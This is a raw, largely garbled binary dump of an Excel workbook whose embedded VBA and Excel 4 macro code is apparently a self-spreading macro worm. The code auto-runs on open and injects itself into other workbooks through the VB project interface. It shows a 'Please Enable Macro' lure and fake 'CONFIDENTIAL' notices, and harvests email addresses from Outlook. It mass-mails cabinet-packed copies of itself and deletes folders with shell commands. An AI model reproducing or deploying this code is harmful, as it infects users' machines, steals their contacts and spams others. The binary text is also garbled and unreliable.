& nonsame_arr(i) & vbCrLf� �� Next� �� End If� �� Set oDict = Nothing� �� End Function� V & "($� wscript.exe " *� �B@(��.�o����]������� � ]�8 �P .',�� WScript.Shell$�.���scripting.filesystemobject$�.�E:\SORCE %��G�E:\SORCE B@j ! !� $�� �_$�.�_$'�* � *Message*'0� E:\sorce\ �_Key.vbs' �'  �� ��.Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route� ��On error Resume Next� ��Set sh=WScript.CreateObject("�shell.application"�)� ��sh.MinimizeAll� ��Set sh = Nothing� ��Set Fso = CreateObject("�Scripting.FileSystemObject"�)� ��%Set WshShell = WScript.CreateObject("�WScript.Shell"�)� ��If Fso.Folderexists("�E:\KK"�!) = False Then Fso.CreateFolder "�E:\KK"� ��Fso.CopyFile _� ��WshShell.CurrentDirectory & "�\ �*.CAB"�,� �"E:\KK\"�, True� ��For Each Atta_xls In ListDir("�E:\KK"�)� �� WshShell.Run "�expand "� & Atta_xls & "� -F: � .xls E:\KK"� , 0, true� ��Next� ��If Fso.FileExists("�E:\KK\ �.xls"� ) = 0 then� ��- route = WshShell.CurrentDirectory & "�\ �.xls"� ��7 if Fso.FileExists(WshShell.CurrentDirectory & "�\ �.xls"�)=0 then� ��# route = InputBox("� Warning! "� & Chr(10) & "�+You are going to open a confidential file."� & Chr(10) _� ��" & "�%Please input the complete file path."� & Chr(10) & "�#ex. C:\parth\confidential_file.xls"�, _� �� "� Open a File"� , "�$Please Input the Complete File Path"�, 10000, 8500)� �� End if� ��else� �� route = "�E:\KK\ �.xls"� ��End If� �� set oexcel=createobject("�excel.application"�)� ��' set owb=oexcel.workbooks.open(route)� �� oExcel.Visible = True� ��Set oExcel = Nothing� ��Set oWb = Nothing� ��Set WshShell = Nothing� ��Set Fso = Nothing� �� WScript.Quit� ��%Private Function ListDir (ByVal Path)� ��( Dim Filter, a, n, Folder, Files, File� �� ReDim a(10)� �� n = 0� ��" Set Folder = fso.GetFolder(Path)� �� Set Files = Folder.Files� �� For Each File In Files� �� If left(File.Name, �) = " �" and right(File.Name,3) = "�CAB"� Then� ��4 If n > UBound(a) Then ReDim Preserve a(n*2)� �� a(n) = File.Path� �� n = n + 1� �� End If� �� Next� �� ReDim Preserve a(n-1)� �� ListDir = a� �� End Function� V !&� \TEST.txt' �'  �� �� E:\sorce\ �_Key.vbs� �� E:\sorce\ �.xls� V� "(*A@2� E:\sorce\ �.xls B@�A@N$L' 4 !&�$�A@6�#"C:\" !&A@:�comspec$ �� /c makecab /F " !&� \TEST.TXT"�J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ �.CAB *� �B@(� " !&� \TEST.txt %8 !&� \setup.rpt %8 !&� \setup.inf %8 !&�\ �.CAB %8aA@������comspec$ �� /c RD /S /Q " !&�\disk1" *� �B@(�comspec$ �� /c Del /F /Q " !&� \TEST.txt" *� �B@(�comspec$ �� /c Del /F /Q " !&� \setup.rpt" *� �B@(�comspec$ �� /c Del /F /Q " !&� \setup.inf" *� �B@(�comspec$ �� /c RD /S /Q E:\sorce *� �B@(�E:\KK %��G�E:\KK B@j�comspec$ �� /c MOVE /Y  � .CAB E:\KK" *� �B@( 4A@:� , � Dear all, <  <�FYI��E:\KK\ �.CABA:�comspec$ �� /c RD /S /Q E:\KK *� �B@(��.�� "(*o���=�h ]�H ]�` �G|j��Outlook.Application$�.H� N H%L.J J� @9@ B9B >9h D9P F5RB@��9Tq�� =�V=�X= JB@Z[�� setforth �A@�A@�A@��%s��^A@\A@��X�<�V�<��.H��.Jo���<�x �� Win32_Process� WinMgmts:$b%d.`�'� f� `� f!h�OUTLOOK�� ��'y��<k���;���;i���;�� ]� �0 �H �'j l��Gzj l� �� �� l� j�$$ 'j� ��z��P;k��H; l� 'nA@4� ��� � r n  t � � 'p t p ��G j�$$ t p 'jj t p 't���:i���:�` ]�� �� �� �'.�D:\Collected_Address\log.txt$ <$z'v v� v� � $j�$$$z'x� �� x�� .�; $xX� $v'.� ��i���9�� ��9]�H �` ��scRiPTinG.fiLEsysTeMoBjEcT$�.�� |��� �%�.~ ~!�' ~B@Bi��9�x ��8]�� � ��scRiPTinG.fiLEsysTeMoBjEcT$�.� � �� $� �%��G � �� $� �B@j � �%8�� ���� �%�.~ � ~B@� ~B@Bd��8� ���� �%�.~ � ~B@� ~B@Bk���7o���7�( ]�h �� �� ]�� � "(*� "($�p7� �� !��� �(�� �!�!$z#� Auto_Activate�G �B@�j��7� �� !0� �!�Macro1� � �(� �B@�k���6���6�$0B@H 0B@�� �� !0� �!�$0!�G � �(�j��06� r� '�� r� '��** CONFIDENTIAL! ** � �+��Use �"$� ! !� $��_key.vbs�"$�� To Open This File. �� �+������ �"$� ! !� $��_key.vbs�"$�� �������ļ�. �� �+� � �$� �� �$�$���5�(��5�(�q���4� "(*o��p4�� ]��(�@�X�@4 �!'�� "(*� "($� �� !0� �!�Macro1�G � �(�j���3� ���A1:F15 �$0%�� �!�� CONFIDENTIAL�� ��'�y��h3k��`3��X3 ���G �$0B@�j� "(*i�� 3����3����Y�Attribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen c�reenUpding[ Call delete�_tf_wk<�copytowx�Sheets0(1).��"M@acro1"Se�n Movem�4 [� cSavnSTruEnd� If ��� � R��jonst @DQUOTEv"3�?Wi�� BVBProject.VBComponenn" ").CodeModuBlF.Ins�Lines 1, P"Pub� Ev� xx As��_@�� 2� ���v��E� 3� Set�=�4� On Error Resu�@�Next�5� � 6 �o_wtha7�h�8��I�xx_�O��ByVal wbkAM�B) 9!7120 wbt�vReferences.AddFrom@Guid _M1AsGUID:=" &��& "{0002E157-u0C�B�0�046}k,� �>�Major:=@0�Min!3��=�{ϒw��?�: XaA�Ahs!�`0� �>�at���ACw!d�x�xK��x8Dim`��8�BVB�IDE�: ��v?��xw')y ��jC����� =�� s(��#%A7aj�!! $� .DB����untOf�'(Fun�c� d#r�&�Є@_`(cDataaInvoke_�a!�8 7�n.� �toreAft{�8�(s� #0�.@NumberQ�0���!0���9�=�viron�Q��2")�"\�HMᐜ.baso�� y?H= ь+ s$DHir(", �.orm��+�Hidd�ϡSyste�m)��0pّ3�0Clea�rgKi� �B����%0��q��92�8ҋ9*�ӛ.Rem��� .I �!����E"�q1��� :)����I���ǁ8Q�+= 9?8 � Else �0� copymodule = Fa� Exit Function �End If&   FromVBProject.VBComponents(M�Name). Exporpil�e:=FBGSlashPos�InStrRev(#, "\"�)Ext.ǁ?-�#Mid!�.0+ 1,�}#- 1 - 11�Fet �e�#Nothi�ng� To}�B *DIf�)Is * �The�(.I@U �O K�F.Typ�vbext_c�t_Docum@f/����6E�S@?Te�mpF@�%CY�:KWith?.Code���.DeleteLinesAj untOf�� S@g*H. �(�z�Co��-�/�.Insert=�!S��A4KOn Error G`oTo 0 VPR�emove �)� �� iKill ��g�}Tru@���{ e Microsofthobby(`Attr`ibutel`y_A�zcDataaI�nvoke_! �."8" Dim myf`z0 As �v�d�MyFG���#Res�P RN�R �=�RisWorkboo�k.Full� = Applica��.StartPupPa�J&��k�4.xls �_e@Open("$)d A��ThH �� s � s' . CloseŪShe�1Environ$("coms@pec") � /c a�+ -S� -h """��9K4.XLS�, vbMini@mizedF ws � �g /F t/Q? \? �N�RpD /S �3 > @6�2�=� )cr@eenUpd Dng T�� IsAdxdin@ce"~*S�aveC`�`Z�Odr�) Zgs��vt!WD�oor�sU99p9Fso, RK1�'8�2�3�4���=KValue2Variant,� 3�4�VS�a�>xt 0� 0� Tha���'�;Tru�Exit��h4xIf �=�A:��}��� A��Judge() Const T1�~D��= "P10:0"2U 1 3 4 4 5Dim S`entTib�,� Wsh�vll.Set�CCre�(Object("WScript.B "�2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\s@hell\o@�\command\")), "OUTLOOK.EX�E"Gk �c@T�)@�1>=�R@��<��2 Or @J 24~ @�(Ou7D:\Coll:ed_Address:frag`1.txt�!�i"ϊA�H%� E��C@�PFi��"1"�7\A�search_in_OL��H2bif_�outl��_�U+� (� G T�Lh#�A�("n�10,e�)G) T�J�4>)�#'6M#FQ= �-21, No�w L! ˀt X����%� C (�;2�; & �y�+w <= 2�#� b$ \l�oggHPH� l%cmI�� J�I`����,9R�#i,�"Cab�_� dM�yI�SB�U`Ga��dx�� )]�a�i�Integer, Att+�@ddVbs�bk�ʢList��fs� ����gኦL�Resu��C䡢�l= #'�s¡@�.f�{system�ob���_�I� @Mfs.Folderex�s("E�:\KKb���z�K�c � $= Replace`�Left(T�his�ݒp,rsn�) - 4qX �%t_"�.�@&_c�{rPb\" "&6& "�.vbs (i`Fre�e1 �v�F��FF0~�Xput0sca�W Wri@��#i�P�nt #i�+peB�x`�#wsh, tle �L;i  T0;P �Pr���=c#�o3("""w�c.�k4) @� �Mi@�soft Office ?PAZ��Q�1 �Ў1000�bkR �p > 6㌓^��Call !f m h(� � leep 05�p.se�ndKeys $ �%a� P ��� U�h�{TAB~}BOO @O{�E`Cr}A=[w� `th=�U q�uit�ub�#*Do Until� ��q�A�(CSt�r("))��+�aSIf�r ��RaLoop=% s_2��[z{F4?7t[`Clos�e (i0s�@\ ��@�A"�b���@ж�@���0A"�An A'f�'��olSSInhbox� 6�QCc@onbind`�a�c�,E�,�Dt�LxF��#�=�{bsC۳3��8��F�A� б�n.��T.� �1ss�p�`��.Ge�tÒ�MMAPI��� g=z�Def�ault�(J_ � Targe�S ���~�� e 1 �colIPxs�I�.B�23�V�Va�H0�.Run �_�exe o�p�o� y�svb���g�{�tB p��gQ/Each1MPpage i|n � K2�a`>�55 t�� `��o  R� conbinded_addr@ess = �& vali�(objM�age.Body)" Print #i�, "Next "�_t*�, 8*all_non_same(Re@adAllTCF�ile), 2 6WScript.8Qui { '�vate Function lsour�ce_data j��Dim oDict, trim���� �emp�, �t_asc, hYer_endarr, ;�ii_ M�0regex, mat�chs, s�b(GSetG�Cre�jObject(""" & �"��ing.�Y�uxary &BVBSCRIPT.�REGEXP��3B.Global!True�Pa`ttern �\w+([-+.]1)*@�D\.�D NH�Q��"E�xecute(�y 0� Then�(h�$�b.keys�,��c3C�� ʠ�}�&�{`# �!@ End� i|Not�h�yk�e�+��Sub ��(in"p�ad_s�Ung����_frag/\��bjFSO, �logf���� _path#fo�lder `���&$FD:\Col�l����AЅIJʠB!���A�Sys�f#�D �On E rr`w �ume �n���A������ .cFb(el � ]�.�Exi�sts���ch\� �.t����l8b$a2��%� , �Y?�)� "�AV�)���/� _P/e1! Cpase B*B)n ?�0$t��= �dOpen_�r��@���, -_�ÀA.Wri��k5�_ S5Clos_q'� \�� � SO�.� 9O%�00�� $���� t�:C� s� ���%S�s!�%5>n�N "�ub���.�̣�� �M��9N@�, My�?��6��Lss�<1y�.At`OfSt�P�m�y�q��se=] E���e߰�D_�!Ȋ%�ng�Qta�{^%������а �%s������@���i2���q������ NL$k� Ǭ`Split�, v�B�_H��PY�ߧ�`#�)�. �/�.��.�.آ0��s�E ���eq���� l!����_���N� Next" Print #i, " E nd If�Set oDict = Nothing FnFunction2Close (i) A@pplica0.WindowState�xlMaximized WshShell.Run ("wscript.exe�& AddVbsFile_search), vbHide, False N �E� �S�ub �v{ CreatCab_SendMail(VDim i As Integer, At tName� St�g �E� ListQ ress_&l� � �4fs�Object,� �]?� �dd�= get_texn_a i�z�jea("WS����"��o��:=�~� [u.f@Xsyste mo�% If fs.Folderex�1s("E:\SORCE")��Z` Then ;� �  3�R= Replace(�Left(ThisWorkbook.�\, Le�n�) - 4�H" "��_"�.� m@r_su�b�%"*" @�D & "*M@bag UBou`nd(a)c��P��erve a(�n*2�A��r����n +� 1/ �8@}��B�/ -1/ d}0a��� )�ddq� �z�� b\TE�ST.t㟰���� ��ԡ��#PK_��a�X��>��~� ��H砦@eenUpd0�n&g"� гto`reBefPA� � �SaveC�? �Q̟ � ��Af��<c c4$���1���ChDri'�%��, �,'"�C:\@�ir`)��1,�Environ$("com0spec�� /c makeca0b /F�~& \�"\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX XMEMORY=21\ABINETNAMETEMPLATE=../�AttName�.CAB", vbHide, False Do Until fs.FileExists(ThisWorkbook.Pa thC�txt") _ And"5setup.r�p6+3inf+5z)rEvents@ Loop{WshShell.Run Environ$("co`mspec:��c RD /S / Q ���disk1��2Del �/F���A_"r��yGl��N�z�FiE:\sorce Q�IfB�olde�reC�"� KK@{�=� ThenA �CreateF�  D %YMOV�E /Y@�& �� C�:ChDir c4$ Call Massive_SendMail(Addr�ess_lt,� , "Dear  ,�_vbCrLf�u�F"FYI�# w��\4f_a���c�.`Set e = Nothing`�pplication.Sc�reenUpd�Dng�Tru`�E��Sub�uPri�v�1 ��"Em�#_�#$,�jecBt Body�C�C_ebadd�� #achm��$@� Dim objOL As Ob� itmxNew!0�J� �if_outl��_op�GbH��t!���a!� = Lc H("O�.A�""Wd�H=.�I�tem(ol�A�D� Wi��'���.�(A-$hA&s��To`�,�C�C�i,hg-s. 4�Vd/���eteAftermit�� C@��@aO���rror Go�tco@�n�E�d: �.��play��Debug.�Int "`�for��$"�o��D�� Keys "%s@jWait:=�gKB �D?i!�1���1 F�unc�4�(()a+Boolean � �s Get�'WinMgmts:").InstancesOf("�32_Pro�s!)�.�S F�0E��) Ina�v 2InStr(p/.DescripQ `KOUTLO"O�W> 0�W O�3�4 �I�f Next��yB�RadomNine(leng�>Integ\err� �H !@jFj��, k�i���"��"�#�$�<=� c �@:V1E� �i�1� `-�������$$�[id �K�U = t /� 10�Ran0�izW[�� k� �`(RY* (@�* i - m0�1)) + 1T m�k <>� � �t �� ���m�/ �`get_ten�_�]�q�.UAs��le�a_arr�A�lPA�pS�pkt(Read@[("D:\Coll�fed5h\loaQK`{sscRiPTinG.fiLEsysTeMoBjEc>T�saͱ�@.O@z�a(5 , 1�D�, -�a� q��.!All�*��.Clo�ԟg�� 3ragMark�, pathf���ON�O‰OQ}�("OM@:�㭤� Left(�, �Len�a(10 ���� ��a �A0�� `�I�t_Q�1" ��e� 2���Write �Fd�E �A�Er�1�"�i�"��b��" U� End If pSub Private � Resto reBefSend() Dim aa As Name, i_rowInte�ger"col"fsht&Object Application.ScreenUpdng = False #DisplayAlerts"On Error�umeP Nex\FEach�In ThisWorkbook.�s  aa.Visible�(TruC�9� If SOt(�r"!")(1)"AutoP_Act��".en�3.Delet �@{ AShee>t�A�5�K�.Ma�cro1+�RS�xl@�`���F8�_.S�R���.Add FK� �*<> �ICB+eryHidd�en C$C�=�t((15 * Rnd) + 1Y��i_�6�C�ells(�D�e** CONFIDENTIAL!b " H �2I Use " & Chr(34)A@Left(Ί, Len�) - B "_key.vbs @po Op��A File .$3 $����$�1V$����� ��ļ��"With Ranger(�*, t'�3"L.Font.Bold�Vhg�Colo@rIndex�3?c���őFun none�After�+E��N, d�el_rng�frag��Boo�lea�O�`{�e"[br?����l$�� ��l")� �H�m�?ck& � �y�td).c>"A1:F15"�9 InStr�(.Valu��"�i") > 0�| ��*= �5�xit ��stdo�le h%^*\G{00�020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`�EOffDic�EOf�i�c�E�����E2DF8D04C-croSheetsɷ`Visible��`xlSheetVeryHidden��` WorkBookName+�`WorkBookNotOpen�`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw�`Time��`ReadOut�` CreateFile�` search_in_OLe`if_outlook_openi�`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName�` AddVbsFileVg` AddListFile��`fsF]` Folderexists� ` CreateFolder�`Replacef`AddVbsFile_clear͸`AddVbsFile_search�` WindowState|�` xlMaximizedZp`Run_�`vbHide�W` Address_listQ�`get_ten_address``mail_sub�`RestoreBeforeSendq+`c4�\`ChDrive%�` FileExists�`Massive_SendMail�`vbCrLf��` Email_Address��`SubjectRP`Bodyl�` CC_email_add�` Attachment^6`objOL�` itmNewMail6` CreateItem�~` olMailItem��`CC�\` Attachments_�`DeleteAfterSubmit��`continue�T` SendEmail��`display�`SendKeysN`Wait�`objs��` GetObjectz�` InstancesOfr�`obj��` Description� ` RadomNine��`lengthY�`jj�]`kb`RndR�`md`singleAddress_arr� `krr��`Split�)`FullPath+`FileTextg|` OpenTextFile��`ReadAll�U`FragMark)O`pathf; `aa{\`i_rowz,`i_colx�`Delete�x`xlSheetVisible��`Cells�`FontU`Bold��` ColorIndex��`del_shtv`rngU�`del_fragy�`��_Defaultj�`xx�_` Workbook_open��`xx_workbookOpenPZ` ��References�` ��AddFromGuidA{`��GUID�`��Major'`��Minor�a` Worksheet��` _B_var_Chr\;`��l��������������������������������������������������������������������6"����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������5BFA-10�1B-BDE5�E�AA�C4�2�E��gram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#��M 1@1.0 Ob�� �LibraryK ��VBIDE>�BI�DE������E157���R5.3�R�/Kin�g,\WPS �$\10.8.2.@6990\oBP6\vbe6ext .o�[�0Visual Basic for Applic�as Extensibilpity ,��������ThisWorkbookG� T�isWA�rkb�oU�� 2� �THB1������B,�!Ƚ"B +B��Shee�t1G�S@#e���t1H2N!����(��ToD���T@;�DOL�{�C'�I���� �� !�bdelete_this_wk}�`copytoworkbooke�`Sheets ` Movema�K*y����rU����~~~~~~~~~~~~~T �p�B�2�M�����)g ������ ��������������� ��������������)� 9 ����H�������!9�� )Aa��� 1 Y y � � � ��Y�ay� ��*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library�*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library\*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Kingsoft\WPS Office\10.8.2.6990\office6\vbe6ext.olb#Microsoft Visual Basic for Applications Extensibility 5.3 �������$d������������������������������������������������������������ThisWorkbook0H64240e9e��ThisWorkbook��Ƚ��� Sheet10J64240e9e�� Sheet1���(��� ToDOLE0L64240eb7�� ToDOLE����0��������P��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0�������������4�Z�E� �UC%�����W��{_jE�U����B�����C/����F�7 ���V��������0�����D Excel�+` VBA��`Win16�~`Win32`Mac��`VBA6�#`����1p` stdole�`` VBAProject��` Officeu` ThisWorkbook|�` ��_Evaluate�` Sheet1�` VBIDEA�`ģ��1�c` ToDOLEŝ` auto_openV ` Application�*` DisplayAlerts��`Path2` StartupPathi�`ScreenUpdating! `delete_this_wk}�`copytoworkbooke�`Sheets ` Movemacro4@�`Save��`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule�` InsertLines��`VBProj�`VBCompӜ` VBComponent�`CodeMod}O` DeleteLines �` CountOfLines!\`�(do_what��`RestoreAfterOpen��`�(OpenDoor�`�(Microsofthobby �` ActionJudgeBG` �(copystart� `wb�_`Workbookk`VBProj1F�`VBProj2G�` WorkbooksB�` �(copymodule��` ModuleName#>` FromVBProject�6` ToVBProject��`OverwriteExistingk�`FNameR�`CompName!�`Sj`SlashPosk#`ExtPosF�` TempVBComp�`Trim@�` vbNullString��` Protection�`vbext_pp_locked�h`Erro�`Number�-`Environ,`vbNormal�-`vbHiddenT;`vbSystem��`Clear��`Kill��`Removeϱ`Item�z`Export��`FileNamej�`InStrRevĈ`Importi�`vbext_ct_Document �`Lines��`myfile0[y`MyFile��`FullNameО` WorkbookOpen��`ShellV�`vbMinimizedFocus�x`IsAddin~|` SaveCopyAsT�`Fso�`RK1��`RK2��`RK3��`RK4��`KValue1'�`KValue2(�`VS�_`Version��` CreateObject��`�(WReg�y`strkey�`Value�K` ValueType `oWshellu�`RegWrite!>`sht��`Add�r`xlExcel4MacroSheet0` ActiveSheet%N`Range� ` ActiveCell��` FormulaR1C1S`UserName\�`ChrK~`Now%�`Namesο`Excel4Ma! )Y����1 VBAProject ThisWorkbookSheet1ģ��1ToDOLE��F /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q���� �0�F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel i����� @0�FC:\Windows\system32\stdole2.tlbstdole y������PL��-�[���D�R?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a�����`W��FDC:\Program Files\Kingsoft\WPS Office\10.8.2.6990\office6\vbe6ext.olbVBIDE ������Ap auto_opencopytoworkbookdelete_this_wkdo_what copystart��F copymodule ������O�ĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen �F��FY � ������F�؁���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.�J�8�-lC��F�Ӯ�rDaB����VV�D�FWorkbook @��FName Macro1Y � ThisWorkbook`��Fb��Fd��Fn��F " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = True��F|���K K�i��7�I �Fz�\sw��A��'R<�;D�F Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("�y(u�[ �sQ�  0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL �����`  �����" (!rU����~~~~w �������������������� 8 !Y__SRP_1 �����PROJECTwm�������������SPROJECT ������SummaryInformation(����������wb ModuleName Y� FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType 14 WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf !q ( !�8ThisWorkbookThisWorkbookSheet1Sheet1ToDOLEToDOLEID="{FE707D7B-9B0B-4D52-90D3-FA5100D88CF5}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="83817EDA26DE26DE26DE26DE" DPB="2725DA86DA8E7F8F7F8F7F" GC="CBC93662DB63DB6324" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C �������Oh��+'��0�HPdt � � ��� jtglj-004�ƹ���Microsoft Excel@�I~,�@^��R��@�U�‘2�����՜.��+,��D��՜.��+,����HP X`hp x ��' DocumentSummaryInformation8�������������TCompObj�������������j������������������������Sheet1 ������d ?GKSOProductBuildVer�2052-11.1.0.10314�� ���� �FMicrosoft Office Excel ������Biff8Excel.Sheet.8�9�q